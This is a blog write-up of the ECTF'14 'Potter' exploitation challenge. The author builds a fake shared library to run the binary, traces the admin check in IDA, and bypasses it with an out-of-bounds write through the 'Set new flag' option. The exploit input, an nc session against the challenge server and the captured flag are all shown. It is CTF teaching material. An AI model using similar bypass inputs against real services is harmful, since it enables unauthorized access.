Blog


ECTF'14 was last weekend.
Here is my writeup for the exploitation 250 Potter:

Description
You have been able to get your hands on the flag storing program of ECTF flag system. But you don't have the required libECTFsecret.so file.
Can you still bypass the system?

nc 212.71.235.214 3050 


Lets extract the given zip and see what is inside

$ file potter.zip
potter.zip: Zip archive data, at least v2.0 to extract
$ unzip potter.zip
Archive:  potter.zip
  inflating: potter                  
$ file potter
potter: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b2cc6510804360a6a2c08bed2f0f0a0fd25b0abb, not stripped


As expected the binary can't be run, as it is missing a the shared library.

$ chmod 777 ./potter
$ ./potter
./potter: error while loading shared libraries: libECTFsecret.so: cannot open shared object file: No such file or directory


Lets look at the file in IDA



Both the check_and_load_flag and load_pass methods are not available in the binary file, so they must have been in the shared library.

We can make our own fake library using these functions to run the binary.

fakeLib.c
#include 
#include 

int check_and_load_flag(char* flag) {
	puts("check_and_load_flag function call");
}

char* load_pass(char* pass) {
	puts ("load_pass function call");
}


Then compile that as a shared library and add it to /usr/lib

$ gcc -c -fpic fakeLib.c
$ gcc -shared -o libECTFsecret.so fakeLib.o
$ sudo cp libECTFsecret.so /usr/lib
$ sudo chmod 755 /usr/lib/libECTFsecret.so 
$ sudo ldconfig


Now we can run potter again and see if it works

$ ./potter
check_and_load_flag function call
load_pass function call
Enter the appropriate option
1)Admin access
2)View flag
3)Set new flag
4)Exit
:^C


Now back in ida we can look at the 'View flag' option.



The interesting thing here is that 'You do not have admin access!!' when the 50th byte of arg0 does not equal 0x41 or 'A'

The same arg0 is then printed to the screen with:



So the admin check is the 50th byte of the flag. So lets try setting that byte with the 'Set new flag' option.

$ ./potter
check_and_load_flag function call
load_pass function call
Enter the appropriate option
1)Admin access
2)View flag
3)Set new flag
4)Exit
:3
Maximum 25 characters
Format of input is
 (equal to flag[index - 1] = ch, index = 100 finishes editing)
:50 A
Set
:100 A
Want to save the flag?(1/0)
1
Admin access required to set the flag
Admin Access granted
check_and_load_flag function call


So we achived admin access. Lets test it again with the 'View flag' option:

Enter the appropriate option
1)Admin access
2)View flag
3)Set new flag
4)Exit
:2



We did not get the warning. But no flag was printed. This is because our library never set a flag.
Lets test this on the real server now.

$ nc 212.71.235.214 3050
Enter the appropriate option
1)Admin access
2)View flag
3)Set new flag
4)Exit
:3
Maximum 25 characters
Format of input is
 (equal to flag[index - 1] = ch, index = 100 finishes editing)
:50 A
Set
:100 A
Want to save the flag?(1/0)
1
Admin access required to set the flag
Admin Access granted
Enter the appropriate option
1)Admin access
2)View flag
3)Set new flag
4)Exit
:2
flag{The_Flying_Phoenix}
Enter the appropriate option
1)Admin access
2)View flag
3)Set new flag
4)Exit
:^C


The flag is ``` The_Flying_Phoenix ```